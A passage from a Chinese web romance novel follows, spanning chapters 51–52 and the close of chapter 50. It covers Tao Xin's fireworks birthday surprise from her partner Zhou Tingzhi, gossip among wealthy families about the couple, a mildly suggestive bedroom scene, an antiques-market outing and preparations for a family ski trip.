陶欣和周廷之从电影院出来就开车回家了。 神秘的都市丽人做狗仔上瘾,仍然紧随其后。一方面都市丽人怕被发现,丢了这份眼看着就要和老板一起飞升的好工作,格外小心谨慎,另一方便由于卧底失职,周廷之根本没想过会被人跟踪,所以即便到了车很少的路段,他把车停到江边,也没察觉后方一同缓缓停下来的那辆车。 “怎么了?” “你都不好奇我给你准备的生日礼物吗?一整天也没问我。” 陶欣立时露出一副得意的神气:“忍不住了吧,想吊我胃口,我偏不问。” 周廷之下了车,绕到副驾驶,打开车门,仔细帮陶欣拉好羽绒服的拉链,系好围巾,随后才叫她下了车。 江边风大,尤其是冬天,一阵阵刺骨。 陶欣穿的虽然足够厚,但还是不免有点瑟缩,抱着周廷之不撒手:“好冷哦。” “你不要站好吗?” “不要,这样暖和。” 周廷之笑笑。 下一秒,一片昏暗的江面忽然发出一声剧烈的闷响,紧接着一团光窜上夜空,一瞬间绽放出千丝万缕的粉色流火,顷刻间照亮了江面。 “哇……”陶欣惊叹一声,却也没有很特殊的反应。她见过千禧年的烟花,似乎再没有一场烟花比那一年除夕更盛大。 可是紧随其后的心形烟花却让她一下子站直了。 巨大的心形烟花一个接着一个的在夜空中释放,越来越多,越来越密集。 陶欣愣了一会神 ,猛地想起来要拍照,转头看向周廷之的时候,却见他手里拿着一个扁扁的方盒。 “生日礼物。” “……” 看到盒子,陶欣就已经猜到是什么了,眼眶霎时间湿润。 “叔叔在世的时候,每年这一天都会准备一套珠宝,他说是给你攒嫁妆。”周廷之将盒子打开,烟花下是一套碧绿通透的翡翠。 他的神情没有故作浪漫的讨好,只是平淡的,像父亲一样的承诺:“以后我替他准备。” 眼泪不受控制的扑簌簌地落下,被江上的寒风一吹,简直有点刺痛。 陶欣不喜欢太软弱的自己,总觉得肉麻,一边哼唧着一边把脸埋到他肩上,娇气地埋怨:“都怪你,害我哭。” “对不起,是有点冷,我不太擅长安排这些……明年可以改进一下。” 这时候可以看出来周廷之是理科男了。 陶欣破涕为笑,不过还趴在他身上:“完蛋了,我还没拍照,这会妆都花了。” “没关系。”作为“好粥道先生”,周廷之考虑的很全面:“我怕你来不及拍照,所以叫他们准备了半小时的烟花秀,你可以慢慢来。” 【[视频]】 【刚才谁说这俩人约会朴实的,给老娘站出来】 【理解梦女,成为梦女,超越梦女】 【牛啊牛啊牛啊,本以为平平淡淡的约会结束了,回家的路上突然来这么一下子,这不给咱大小姐拿捏了吗】 【哇塞,ztz有两下子啊,原来在这等着呢】 【[视频]】 【?这烟花还没完呢?和烧钱有什么区别?】 【笑死,我朋友圈刷到有人发心形烟花了】 【他们有钱人不炫富的吗?我要是大小姐高低全网全平台都发一遍】 【肯定不能炫啊,越是有背景越是得低调】 【家人们,大小姐不炫,ztz秀上了,你们快去看他微信头像!换成烟花照了!】 【看到ztz这么有手段我就放心啦,坐等公司做大做强[加油]】【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 第51章昨晚,陶欣玩的太过了。…… 周廷之原来的微信头像,是12年初华视迁入新办公楼时,在庆典仪式上拍摄的半身图。那会大家都刚开始普遍使用微信,头像多是本人的照片,周廷之手机里恰巧有这样一張宣传图,便隨手将其设置成了头像。 后来的这些年,哪怕由于年代久远,头像画质愈来愈模糊,周廷之也没有特意更换过。 现在换掉了。 漆黑夜幕,漫天焰火,被粉色烟雾和流光填满的巨大的心形烟花。 乍一看是这样。 可点开他的头像,就不难看到右下角有一个女孩侧脸的轮廓,系着围巾,长发微卷,微微仰头望着夜空的烟花,欢喜雀跃。 匿名群里的吃瓜群众并不知道,周廷之不仅换了头像,还发了朋友圈。 和头像差不多的两張配图,一张是陶欣在烟花下的正面照,一张是他和陶欣的合影,而文案则是很寻常的一句“年年有今日,岁岁有今朝”。 “周廷之这恋爱谈的,不知道的还以为他今年十八呢,秀什么啊秀。”唐霏文撇撇嘴,“dang”一声把手机丢在了桌子上,满脸不服气。 “你看你,幸亏今天都是自家人。”唐成仁隨手给周廷之点了个赞,又不紧不慢道:“要是有外人在,听你这话,就得在背地里笑话你是吃不着葡萄说葡萄酸,传出去像什么样子。” “我说的哪不对啦,本来就是。” “本来就是这话也不能你说,谁让是你喜欢人家,人家不喜欢你。” “大哥!”唐霏文怒瞪他一眼:“我是不是你亲妹妹啊,刀往哪戳疼你就往哪戳是吧?” 唐成仁还在给周廷之留言,头也不抬地说:“你是我亲妹妹我才教你呢,越是这种时候,你越是得拿住矜持劲,你要知道,人家当着你的面提起周廷之,那就是为了看你的反应,看你的笑话,你就是装也得装的大度点,装的无所谓。” “这人家就不笑话我了?” “有周廷之呢,那还笑话你什么,你看现在圈子里多少人笑话他恋爱脑,叫一个小姑娘摆布的团团轉。” 唐成仁的妻子也在旁附和:“可不是嘛,这才几个月啊,他这些年攒下的好名声都搭进去了,” 夫妻俩这番话,本意是宽慰自顾自失恋一百次的唐霏文,却没想到唐霏文听完面色不仅不见好轉,反而眼睛里一下涌起热泪,硬忍了三秒,“哇”的哭出来,一邊哭一邊跑上楼去。 “欸,小文……这又是怎么了?” “毕竟是男神嘛。”唐成仁有些无奈地叹了口气:“不过这个周廷之也真是的,多大岁数的人了,竟然还搞这一套,我看他是真不怕人家笑话。” 他妻子冷笑一声:“我看你们这些人也就是嘴上说笑话他,心里还不一定怎么羡慕呢。” “你这就是典型的欲加之罪,何患无辞。”唐成仁不想跟妻子起争执,紧着轉移话题:“哎呦,你看这点赞,周廷之要不谈这个恋爱,我都不知道居然和他有这么多共同好友,这世界可真够小的。” “你也不看看你微信里有多少人,这地界上是个有名有姓的哪个没你微信。” 这话倒不假,唐成仁连周念的微信都有,所以看到周念给周廷之点赞,便不禁感慨说:“嗬,周廷之这儿子,还真给他爸捧场。” “我看周念跟他那小后妈关系还蛮好的,那天在赵家我看两个人身前身后走得很近。” “毕竟是独生子,心性單纯,要不然你想赵家能这么上赶着?现在别管外邊人怎么说,将来他周廷之的家业还不都是周念的,那不就等于是赵家的。” “我看未必吧,周廷之才三十八,又不是七十八,想再要个孩子不就这两年的事,现在都这样了,那将来小老婆,小儿子,左邊一个,右边一个,不得把他哄得找不到北,再多生几个女儿呢?到时候可难说能分给周念多少。” 唐成仁深以为然地点点头:“有道理。”这样说完,便笑了起来:“你都想到这了,赵家算盤珠子打的那么响,能想不到嗎,你说小赵现在急不急?” “他有什么好急的,不是还八字没一撇呢。” “那人不就这样,没占到便宜对他来说比吃亏还难受。” 唐成仁和小赵董交往甚密,对他实在是过份了解,正如他所说,小赵董正看着周廷之的朋友圈在家里难受呢。 他和妻子不一样,小赵夫人完全为女儿考虑,认为周念的长相,成绩,品行,在一众门当户对的适龄青年里都是拔尖的优秀,和赵瑞雪各方面都十分般配。 至于将来的财产问题,小赵夫人懒得去想,毕竟周廷之那么年轻,保养又好,还不随随便便就活个六七十岁,哪百年能轮到周念继承财产?再者说,周念这性格,就算继承了家业也未必守得住,与其冒这种风险,倒不如叫周廷之掌一辈子舵,周廷之总不会亏待周念就是了。 而小赵董全然是另一种想法。别人不知道,他自己心里清楚,赵家看着风光无限,其实底子越来越亏,就跟红楼梦里后期的贾府一样,铆足劲也撑不了多少年如今的体面了。 风风光光一辈子,小赵董哪甘心到老了开始走下坡路。 万幸养了个才貌双全的女儿。因为赵瑞雪的存在,小赵董老早就把注意打到周廷之身上,想他一个二十岁丧偶的鳏夫,这么多年一直没有再娶,甚至没有半点的风流韵事,那必然是念着亡妻和亡妻留下的孩子。 就这么一个宝贝儿子,那婚事上还不得尽善尽美?对儿女亲家还不得该出手时就出手? 万万没想到,从石头缝里蹦出来一个程咬金,二十出头的年纪怎么就有本事给周廷之哄的五迷三道? 还换头像……小赵董看着周廷 之那充满少女心和氛围感的头像,活生生给气笑了。 另一边,周廷之当然清楚自己换个头像会引得多少人在背后议论他的是非,可当下只是單纯覺得这张照片拍得很好,忍不住看了一遍又一遍,最后干脆换成头像。 他这个年纪,还用女朋友的照片做头像,是有点幼稚。 不过回複人家消息的时候,看到头像里的陶欣,心情就莫名愉快。 周廷之其实很喜欢做这种事,最开始和陶欣谈恋爱那会很流行拍大头贴,还有卖专门装大头贴的钥匙扣,零钱包,小相册。 周廷之全都买了。 他和其他有女朋友的男生一样,把装满大头贴的小相册挂在书包上,一方面表示名草有主,和同校女生划清界限,另一方面,女朋友不在身边的时候,他可以偶尔翻开来看一看。 从前做这种事那么理所当然…… “想什么呢?”陶欣从背后扑过来,趴在他肩上。 “这么快就洗完澡了?” “没洗头,早上刚洗过。” 周廷之轉头看向陶欣,她刘海有一点长了,一直没去剪,在家里就用一个红色蝴蝶结发卡把刘海别到耳朵,模样很乖。 “明天开始放假了,不是说要去滑雪,我陪你。” “好啊!去长白山!周念要一起去嗎?” “你问问他。” “OK!” 陶欣有周念微信,可两个人极少私聊,都是在“谁改群名谁是猪”的小群里发消息。 【陶欣:@周念】 【陶欣:滑雪去不去去不去】 周念参与这种以家庭为单位的活动其实一向都很积极,不过每次答应之前都得推拉一番,非要表现出一种情非得已,被逼上梁山的感覺。 【周念:什么时候啊,我不知道有没有空】 【周念:而且我装备也不全】 陶欣已经习惯了他这么说话,见他没拒绝就知道是答应的意思,想了想对周廷之说:“那就后天吧,我明天约了人。” “……谁?” 生日活动都结束了,是时候该处理周廷之发神经的问题了。虽然周廷之今天表现的很好,但他昨天说的那些话陶欣还耿耿于怀。 他说那些话,对陶欣而言,并不是“被小猫不经意地轻抓了一下”,而是“被小猫很故意地咬了一口”。 任何一个尽心负责的好主人,都不会让小猫养成咬人的坏习惯。 “孟和光啊,我们今天约好一起去逛古玩市场。” 说话间,陶欣已经编辑好消息发到群里。 【陶欣:后天出发】 【陶欣:你差什么装备?到那边再买也来得及呀】 过了一会周念才回複:【行吧,正好我后天有空】 确定了时间,那么接下来就是订机票和酒店。陶欣早想去滑雪,做过攻略,打算自己搞定。 而她订机票选酒店这期间,周廷之就躺在一旁目不转睛地盯着她看,不知道在想什么。 陶欣伸手摸摸他的脸,指尖划过他高挺的鼻梁,他倒很自觉,凑过来吻她,讨好她。 陶欣当然能感觉到周廷之的讨好。嘴上说那么大度,要她多交一些朋友,可她真按照他说的那样做,他又企图用这种方式软化她。 哪有这种好事啊。 陶欣很故意的磨他磨到爽,自私的不考虑他的体验和感受,爽够了就软绵绵地蜷到被子里,懒懒地撒娇:“好累……我要睡了……” 周廷之跪坐在床边,满脸是汗,水痕,不断喘息着,看着她。 陶欣从来没有一次像现在这样扔下他不管。 他要自己解决,或者忍耐。 “……你睡吧。”周廷之克制着:“我去洗澡。” 陶欣抓住他的衣角,轻轻扯了扯:“别洗了,我要你抱我睡,还没过十二点呢,今天是我生日。” 周廷之便躺下来,抱住她。 过于紧密的身体接触,皮肤传递着异样的温度,像外置的心脏在跳动,是进入活跃期的火山,湿润的岩浆,存在感很强。 陶欣看着他双目紧闭,眉头微蹙的模样,像是发现了玩具的新玩法,只要他心脏的温度稍稍平息,就要再一次将他点燃。 温度堆积叠加,一次比一次燥热,得不到解脱,只会更敏感。 周廷之侧过身,握住她的手:“欣欣……” “干嘛呀。” “……” 周廷之大概很难受,面色潮红,额头上布满湿润的汗珠,除了低低的喘息,说不出一句话。 在他即将得到解脱的瞬间,陶欣熄灭了火种。 周廷之无力地抓住她的真丝睡裙,一向温柔的嗓音发出类似于崩溃的呻/吟,可很快又陷入新一轮的堆积叠加。 …… 翌日,很难得陶欣比周廷之起得早。 看周廷之还在睡,陶欣蹑手蹑脚下了床,去隔壁房间喂两只小猫。 陶剩剩和周美美似乎在自学捕猎,两个小家伙听到外边传来脚步声,一下子躲到窗帘后面,等陶欣进门,就像捕猎的老虎挥着爪子扑过来,用力敲一下陶欣的小腿,又急急忙忙的逃窜。 “你们俩是精神不太好嗎?” 小猫不语,一味埋伏,准备发起第二次袭击。 虽然怀疑小猫的精神状态,但毕竟是自己一点一点用奶粉喂大的,看它们像模像样的做出预备捕猎的姿势,陶欣真有种吾家有女初长成的欣慰。 随手拍了个视频发抖音——【没有猫妈妈的教导也学会了捕猎,好棒的两个宝宝】 抖音刚发出去没一会就有了很多点赞,不过大早上的,评论只有零星几条,陶欣注意到有个人说【居然长这么大了】,语气好像很熟稔,点到主页一看居然是几条武术馆的宣传视频。 所以这个人是陆晨? 自从陶欣结课后,陆晨就没再给她发过微信,昨天她过生日发的朋友圈,陆晨也只是点了个赞,没有留言,两个人的关系几乎从普通同事退回到陌生人的位置。 这么久没见,又没有联系,陶欣对他的戒备一下子降低到了正常范围内,再一想到之前在武术馆他对自己的照顾,便很自然的回複了一句:【是啊,每天除了吃就是睡,长得能不快吗】 陆晨回复一个笑哭的表情,结束了对话。 陶欣喂完猫,回房间洗漱。 她洗完头发包着毛巾化妆的时候,周廷之醒了。或许聪明人精力都比较旺盛,周廷之每天只要睡六个小时就可以保持一整天的高度集中,刚睡醒也不会像陶欣似的懵头懵脑,仿佛在眼睛睁开那一瞬间大脑就开始高速运转了,因为在紧急处理接收到的一切信息,看着比任何时刻都冷静。 “起这么早?” “哥哥,看看现在几点了,是你起太晚。” 周廷之看了眼时间,有点意外,没想到已经九点钟,他睡了足足九个小时。 昨晚,陶欣玩的太过了,那种颤栗的滋味,想起来还让他头皮发麻,心存畏惧。 可是陶欣现在要去找孟和光。 洗澡,化妆,似乎过分隆重。 周廷之像是忘记这件事,起床洗漱,又拿来吹风机,一如往常一样贴心的帮陶欣把头发吹干。 陶欣在看手机上的化妆教学视频,想要学习人家美妆博主画出野生眉的毛流感,可一段视频反反复复看了好多遍,最后还是关掉视频,像平常那样简单勾勒了一下轮廓。 周廷之看着她,等头发完全吹干,才关到吹风机说:“琴姐今天开始放假,她是早上的飞机,应该没来得及准备早餐。” “我不吃了,我跟孟和光约的十点钟,得先去学校接他。” “……怎么想起来要去逛文玩市场?” “我大哥呀,他最近卧床养伤,无聊的不得了,总在手机上刷到人家盤核桃盤串,也想弄对核桃玩,孟和光就说去文玩市场给他淘一对打发时间,我没去 过文玩市场,也想去转转。“陶欣看着梳妆镜里的周廷之,笑了笑:“这不是正好吗。” “什么正好?” “你不是说想让我跟他交朋友,你说他人比较靠谱,我跟他交朋友你放心。” “我记得,我说的是,如果你对他有好感,喜欢和他在一起。” “我当然是对他有好感才和他交朋友,谁会和自己讨厌的人做朋友?”陶欣随手把口红装到包里,去换衣服:“好了,等我回来再说吧,约好的时间不能迟到。” 陶欣换了衣服,匆匆下了楼,很快外边就传来汽车启动驶离的声音。 …… 孟和光在学校北门等陶欣。 他一上车陶欣就不由说:“没几天过年了,你还天天待在实验室啊,太拼了吧。” 孟和光笑着说:“不能因为过年就把培养皿扔下,不然大家的心血就都白费了。” “哦……你是研究什么的来着?上次听大哥说了一下,没太记住。” “就是一种治疗结节性痒疹……嗯,治疗皮肤病的特效药,这种皮肤病目前是没有明确治疗方案的,很多患者都常年忍受着剧烈的皮肤瘙痒,就算是吃药打针做激光都只是短暂的抑制,复发后可能还会更严重,所以这种皮肤病被称为皮肤上的藤壶。” “那要是研制出特效药,就会有很多患者受益了。” “没错。” 难怪大嫂说孟和光是理想主义者,他在听到患者受益四个字的时候,眼睛都明显亮了亮,好像让那些患者过上和普通人一样的生活,就是他毕生的追求。 陶欣不得不承认,孟和光这样的男生就是自己少女时期的理想型,他身上有着所有她喜欢的美好的特质,就像当年的周廷之。 不过……有些地方又不太一样。 陶欣很清楚,她对孟和光的好感,并不是对异性的好感,并不是那种看到他就想靠近,迫切渴求肢体接触的生理性好感。 陶欣还记得自己第一次去周廷之的学校找他,悄悄跟在他身后,看着他垂在身侧那只修长白皙的手,默不作声地走了很远很远。 那时候,脑子里只有单纯的一个念头。 好想牵他的手。 “陶欣?” “嗯?你说什么?不好意思啊,我光顾着找位置停车了。” 陶欣把车停到路边,转头看着孟和光。 孟和光笑笑:“我问你要不要吃糖葫芦,路边有卖的,师父说你很爱吃糖葫芦。” “我大哥还和你说这个呢。” “昨天你走之后,我们闲聊天提起来的。” 孟和光紧接着又问:“国外有卖糖葫芦的吗?” 这就是她没办法交朋友的原因啊,朋友的好奇心,她需要用谎言来满足。 “我们那是没见有卖的,我也不知道别的地方有没有。”陶欣知道孟和光只是随口一问,很快就敷衍过去,转移话题:“卖冰糖葫芦的在对面呢,走吧,还得过一条马路。” 好在文玩市场也在马路对边,一整条街全都是卖文玩的小店,随便走进去一家都是五花八门的,光手串就有二三十种,陶欣选几种拍了照片发给陶书华,又去核桃堆里挑挑拣拣。 孟和光选中一对,拿给她看:“这个怎么样?” “太大了吧,盘核桃不是要转的,这么大拿都拿不住。” “师父手不是比你大一圈。” “哦——对哦。” “……” “你别露出那种无语的表情,像骂人一样。” 陶欣把那对核桃放在手心里,又拍了照发给陶书华。 与此同时,收到周廷之发来的微信。 【周廷之:[图片]】 【周廷之:中午炖莲藕排骨汤,你回来喝吗?】 陶欣点开那张图片,周廷之手里拿着一整颗藕,表面上是在拍藕,画面的中心却在他青筋微微浮起的手臂上。 昨天晚上苦头还没吃够,还勾引她…… 【陶欣:再做一个糖醋小排我就考虑要不要回去吃】 【陶欣:[图片][图片][图片]】 【陶欣:好多串好多核桃,简直挑花眼了】 注意到身旁的视线,陶欣抬眸看向孟和光。 孟和光说:“师父回了吗?” “没,是周廷之,要我中午回去喝他炖的莲藕排骨汤。” “……你刚回国不久,和他应该也认识太久吧?” “世界上就是有这样一种神奇的缘分,你一看到那个人,就觉得这辈子好像一直在等他,终于等到了。”陶欣笑笑:“当然,我知道我年纪小,说出这种话都没人会当真,所以只好让时间证明。” 孟和光沉默了一会,也笑着说:“你知道吗,我刚才突然特别能理解我爸。” “嗯?什么意思啊?” “就是,盘核桃挺上瘾的,我也买一对好了,今年过年和他一定有共同话题。” 陶欣了然:“原来你爸也盘核桃。” 不是的。老孟从来不盘核桃。 老孟只是单纯的,恨周廷之命太好。 第52章 第52章竟然是害怕自己的儿子抢…… 陶欣回家的路上,收到来自周念的信息轰炸。 【周念:@陶欣你怎么还不回来】 【周念:@陶欣到哪了?】 【周念:@陶欣饿死我了】 【周念:@陶欣你不回来周总不开飯】 【周念:@陶欣人嘞?】 【周念:(╯‵*′)╯︵┻━┻】 車停到红灯前,看还有二十多秒,陶欣拿起手机飞快回复。 【陶欣:我在开車啊大哥】 【陶欣:[車载导航]】 【陶欣:你们先吃吧,别等我】 红灯轉绿,陶欣刚放下手机,就看到群里跳出周廷之的消息。 【周廷之:注意安全,不着急】 不着急吗?她感觉周念都要急死了。 不过平时琴姨在家,周念十二点起床,一下楼就能吃上飯,这都快一点半了,难怪他一个劲喊饿。 陶欣开快了些,到家的时候已经是一点五十。 周念躺在客厅的沙发上玩手机,见她进来便抱怨说:“你怎么才回来啊,我都要饿晕了。” “知足吧,我油箱见底了都没去加油。”陶欣换了鞋,刚往里走没两步,就闻到了从厨房弥漫出来的飯菜香味:“哇,周总弄什么呢,这么香。” “满汉全席,你去看看吧,一大桌子菜,比琴姨弄的还丰盛。”知道这一桌子满汉全席跟他没关系,正主没回来他都不能尝一口,周念多少有点阴阳怪气。 陶欣把包放到茶几上,走进厨房,见周廷之穿着家居服,系着围裙,手里拿着锅铲,旁邊摆着她平时追剧的可移动电视,电视上是图片版很详細的菜谱。 抽油烟机声音很响,周廷之没发觉她进来,正一板一眼的按照菜谱往锅里放调料。 陶欣怕突然开口吓到他,輕敲了两下厨房的门。 周廷之大概以为又是快要饿死的周念:“不是叫你先去吃两块饼幹。” 陶欣笑笑:“他又不傻,有满汉全席怎么会吃饼幹。” 周廷之轉过头,也笑了:“最后一道菜,马上就好。” 虽然家里是封闭式厨房,但厨房中央却有一个开放式厨房才有的大岛台,上面满满当当都是用保温盒装着的菜,陶欣一眼扫过去,少说得有十五六盒,灶台上还用小火煨着一罐排骨莲藕汤。周念说满汉全席倒是一点不夸张。 “你也做太多菜了。” “放假没什么事,磨炼一下厨艺。” 话是这样说,可这么多菜,就他们三个人,还不得连吃三顿才勉强能吃的完。 陶欣掀开瓦罐看了眼里面的汤,忽然福至心灵,轉头问周廷之:“你不会是故意做这么多菜叫我回家吃的吧。” 三个人都很难吃完的菜,她要是不回来,只有两个人,就更难吃完了。 周廷之面不改色:“回家吃有什么不好?不比外邊的干净?” 诡异啊。 陶欣觉得可能是自己思想不纯洁了,不然最近听周廷之说话怎么总有两层意思。 陶欣走神的功夫,最后一道菜已然火速出锅,周廷之没有装盘,仍然是盛到保温盒里,打算这顿吃完剩下的直接放冰箱。 “去叫周念过来吃飯 吧。” “哦,好。” 陶欣去客厅,喊周念吃饭,周念捧着手机头也不抬:“等下等下。” “你不是要饿死了吗?” “决赛圈了。” 陶欣走过去看了一眼,见他穿着吉利服趴在草丛里,躲在石头后,远远看着两队人马在对枪,一副随时准备捡漏吃鸡的样子,不由“咦”了一声:“我还以为你是什么高手呢,原来是老六。” “你懂什么啊,我队友都死了,我可是全村的希望,你看我怎么吃鸡就完了。” 话音未落,不知道从哪飞过来一颗手/雷,只听轰一声响,屏幕瞬间黯淡,视角上移,草丛里只剩下飘着绿烟的盒子。 陶欣没忍住,发出爆笑。 “笑什么啊笑!”周念气的涨红脸,瞪她:“不许笑!” 俩人一前一后进了餐厅,周廷之正在盛饭,见状问:“怎么了?” 陶欣拉开椅子说:“没怎么,捡了个乐子。” 周念还不服气:“不懂有什么好笑的,高分局知不知道?你也就是落地成盒的水平。” 陶欣在打游戏这件事上的确没什么天赋,之前和小曼一起玩和平精英,才两天就卸载了,感觉就是在收集装备然后给人送快递,一点游戏体验都没有。 可这并不耽误她嘲笑周念:“是是是,高分局,厉害厉害。” 在周廷之面前周念还是比较收敛,只重重哼了一声就坐到另一邊去吃饭了。 “欸,你先别吃啊。”陶欣拿出手机,很明显要拍张照片。 周念深吸了口气,把筷子收回来了。 周廷之虽然很少进厨房,但他做菜是根据菜谱一步一步的严格执行,连调料的计量都精确到克,一桌子菜没有一道翻車的,都能称得上色香味俱全,就算用保温盒装着也不影响卖相,随手一拍都给人一种营养丰盛的感觉。 陶欣拍了两张,非常满意:“好啦,可以吃了。” “排骨味道怎么样?好像有点烧干了。” “好吃,我就喜欢这种的。” 排骨炖了很久,一口咬下去软烂而不肥腻,陶欣真觉得比琴姨做的还好吃,一连吃了好几块,抬起头,见周廷之坐在那看她,有些疑惑:“你不吃吗?” “我待会吃,刚做完饭,感觉像吃饱了一样。” 周廷之说着,看了眼手机,是小赵董发消息来,问他年前哪天有时间,想两家人一起吃顿饭。 周廷之犹豫了一下,回复说:【明日去长白山滑雪,归期未定。】 去滑雪这种事用脚趾头想都是和女朋友一起,小赵董便问:【那小念呢?】 周廷之说:【他也一起】 这一家三口相處的是真好啊。 小赵董憋着口气,问赵瑞雪:“周念明天去长白山的事你知道吗?不是说你们俩每天都在聊天?” 这件事提起来赵瑞雪也顶不爽。她要是不知道周念明天去长白山就算了,她不仅知道,还暗示周念想一起去,可周念那猪腦子简直蠢出生天,完全听不懂她的暗示。 面对父亲的质问,赵瑞雪只能说:“我一个女孩,也不能太上赶着。” “矜持,矜持有什么用,不若就大大方方的,这种事还用我教你?”小赵董一邊说,一边看向小赵夫人,略有几分责问之意。 小赵夫人不理他,只宽慰女儿说:“小念那孩子就是迟钝,这也不是坏處,总比那些见一个爱一个朝三暮四的强,不看别人,看你周叔叔就知道了,像他们这种不解风情的男人,一旦开窍,很多事不用学就会了。” “……” “还是说你不喜欢小念?你要实在不喜欢他,爸妈也不会勉强你的。”小赵夫人握住女儿的手,柔声細语:“可不管到什么时候,谈婚论嫁总要找个家境相当的男孩子,真相處起来,总有这样那样你瞧不上的缺点,你好好想一想。” 周念长得很好,学习也用功,乍一看像是脾气差,其实骨子里很温驯,赵瑞雪和他接触这段时间以来,从没有从他嘴巴里听到一句污浊下流的话。 和圈子里其他适龄青年对比起来,的确是最优选了。 赵瑞雪略有些烦闷地说:“可我昨天已经暗示过他了,他都没有说要我一起去,我还怎么提啊。” 小赵夫人这时才冷冷地看向丈夫。 小赵董不甚在意:“你不好提,我去提就是了。” 说着,就给周廷之发了条微信。 【小赵董:[大笑][大笑]】 【小赵董:现在的年輕人怎么都喜欢去滑雪,我们家瑞雪前几天也说要去,她一个人,我跟她妈都放下不下,不许她去,现在还和我生闷气】 周廷之怎么会看不明白小赵董的暗示。 他看向面对面坐着的两个人,想着刚刚他们俩聊天自己却无法融入其中的情景,便回复小赵董说:【和我们一起你总该放心】 从周廷之口中得知赵瑞雪明天也一起去长白山,周念倒没有什么特殊的反應:“她昨天晚上确实说最近也想去滑雪来着。” 陶欣听出不对劲,皱着脸很嫌弃地说:“大哥,人家那是想要你邀请她一起去的意思。” “……是吗?”周念迟疑了一下,很快理直气壮起来:“她不直说我哪知道。” “人家一个女孩怎么直说,何况你跟她又不是男女朋友的关系。” “对啊,我俩又不是那种关系,我干嘛要邀请她。” “……” 陶欣无语凝噎之际,周念已经点开了和平精英的直播,看那样子是真的一点都没把赵瑞雪的事放心上。 陶欣看向周廷之,伸出一根手指在太阳穴边上轉圈圈,示意你儿子腦子少根筋。 周廷之不否认,周念在这方面的确少根筋,可这也是没办法的事,这世界上就有比较晚熟的人。 晚熟并非缺陷,犯不上特意纠正。 只是,陶欣和周念毕竟年龄相仿,交流起来总是更容易,周廷之希望看到他们可以像朋友一样和睦相處,心里却又藏着一点隐秘的不安。 他怕周念会在和陶欣的相处中,忽然长出那根缺失的筋。周廷之决不允许这种情况发生,所以提早预防。 …… 翌日,赵瑞雪直接去机场与三人汇合。两家人一起吃过几次饭,相互之间也算熟悉了,远远看到周廷之和陶欣,赵瑞雪并不扭捏,打招呼说:“周叔叔好。”然后笑着将手里的礼物递给陶欣:“生日快乐,虽然有点晚了。” 关于对陶欣的称呼,在赵瑞雪这始终是个难题。叫陶小姐似乎过分生疏,叫欣欣姐又差着辈分,直接叫陶欣,欣欣,好像很不客气。 赵瑞雪只能在态度上做到极致的热情,省略令人为难的称呼。 “哇!谢谢!我可以现在拆开看吗?” “可以呀,不知道你会不会喜欢。” 赵瑞雪微笑着。这份笑容倒是很真诚的,毕竟比起客气疏离的周廷之,少一根筋的 周念,陶欣实在非常可爱,非常好相处。说老实话,如果这次行程没有陶欣,她打死都不会来。 当然,没有陶欣,周家这父子俩也不可能会有这次行程。 陶欣仔细的地拆开礼物包装纸,打开盒子,里面是一对毛绒发卡,款式很少女,价格也不便宜,对于送礼物的人不会显得太谄媚,对于收礼物的人也不会显得太敷衍,都是那么恰到好处。 “啊,是这个发卡。”陶欣眼睛亮晶晶地看着她说:“我超级喜欢的,感觉容易弄脏才一直没舍得买。” 陶欣有一种神奇的能力,旁人口中的客套话,在她说来就非常的真诚,明明语气一点也不夸张,却让人觉得她是出于本心,发自肺腑。 “你喜欢就好。”赵瑞雪笑起来,因为陶欣的反應,整个人都輕松很多。 偏过头看向周念,他还和平常一样,对待普通朋友似的跟她打招呼,没有一丝怠慢,也没有一丝多余的情绪,就好像旅游团里多加了一个人。 赵瑞雪想到母亲说的那番话,又仔仔细细看了看周念的脸。说真的,就是冲着这张脸,不然她真懒得理这个二货。 “你昨天晚上几点睡的?”赵瑞雪上前,主动打开话题。 “两点啊。” “那么晚?熬夜对身体不好。” 周念短暂沉默,像是认真思考了一下要怎么回答她,最后憋出一句:“打游戏了。” 周念要是存心敷衍她也就算了,可赵瑞雪看得出来,周念没有敷衍她,就是单纯的没话说。 没话说,这一点倒是不重要,反正结了婚都一样,都是没什么话说。 赵瑞雪也不说话了,望向坐在对面的陶欣和周廷之。 两个人刚刚接到地勤通知,飞机延误半个小时。大多数人出游计划被打乱大概都会不耐烦,可陶欣和周廷之都没什么反應,等地勤离开后又继续刚刚的话题。 “你以前写作业现在又不写作业,手上怎么还有茧子啊。” “你不是也有。” “拜托,我才不拿剑多少时间,茧子当然不会这么快就掉了。” “我现在也经常拿笔写字,工作的时候有新思路感觉还是写下来比较清楚,之前有一次不知不觉写了几个小时,写完我手都要抽筋了。” “不知不觉写几个小时,你说的是人话吗,我小时候因为不想写作业,我爸妈都差点打我。”陶欣抬起手,神情很严肃:“可我真不是夸张啊,那会一让我拿笔我手就痛。” 周廷之轻轻拍了一下她的手:“所以我说你能考上大学真不容易。” “可不是嘛。”陶欣深以为然的点点头,紧接着又说:“欸,我突然想到一个腦筋急转弯。” 赵瑞雪一怔,不知道话题怎么会突然跳到腦筋急转弯上。 可周廷之好像觉得理所应当:“什么脑筋急转弯?” 陶欣似乎对自己这个脑筋急转弯充满信心,她笑着看过来,也说给另外两人听:“请问,在东北最著名的清朝皇帝是谁。” 赵瑞雪习惯性的捧场,试着回答:“努尔哈赤吗?” 陶欣得意地摇摇头:“不对。”谜底在她看来一定很好玩,她摇头的同时已经忍不住笑起来。 周念在一旁瞎猜:“康熙,雍正,乾隆。” “不对不对不对,哪有你这么猜的。” “著名的清朝皇帝不就这几个吗。” 陶欣微微睁大眼睛:“请注意,我说的是,东北,最著名的,清朝皇帝。” 周念抿唇,倒真认真思考起来。 周廷之也在想,他的第一反应是沈阳,故宫,皇太极。 可这个答案显然不会是脑筋急转弯的答案。 “所以到底是谁?” “我不告诉你,这个答案从我嘴里说出来就没意思了。” “你不说算了。”周念不在乎谜底的趣味性,只在乎答案,他拿出手机在网上搜索,可搜了半天,根本就没有这个脑筋急转弯。 陶欣看他的表情,松一口气:“怎么样,搜不到吧,哼哼,这可是我自己想出来的,陶氏脑筋急转弯。” 周念轻轻地嗤了一声:“你家不仅卖烤鱼还卖脑筋急转弯呢。” 陶欣毫不客气的回怼他:“我愿意卖什么就卖什么,你管我呢。” 陶欣和周念这种不经大脑思考的说话方式,在赵瑞雪的生活里是从来没有过的,仍然是出于父母教养出来的习惯,她下意识观察周廷之。 周廷之靠在沙发上,看着身侧的小台灯,手里拿着一瓶水,在缓慢的旋转,这明显是一个思考中的惯性动作。 他还在想那个脑筋急转弯。 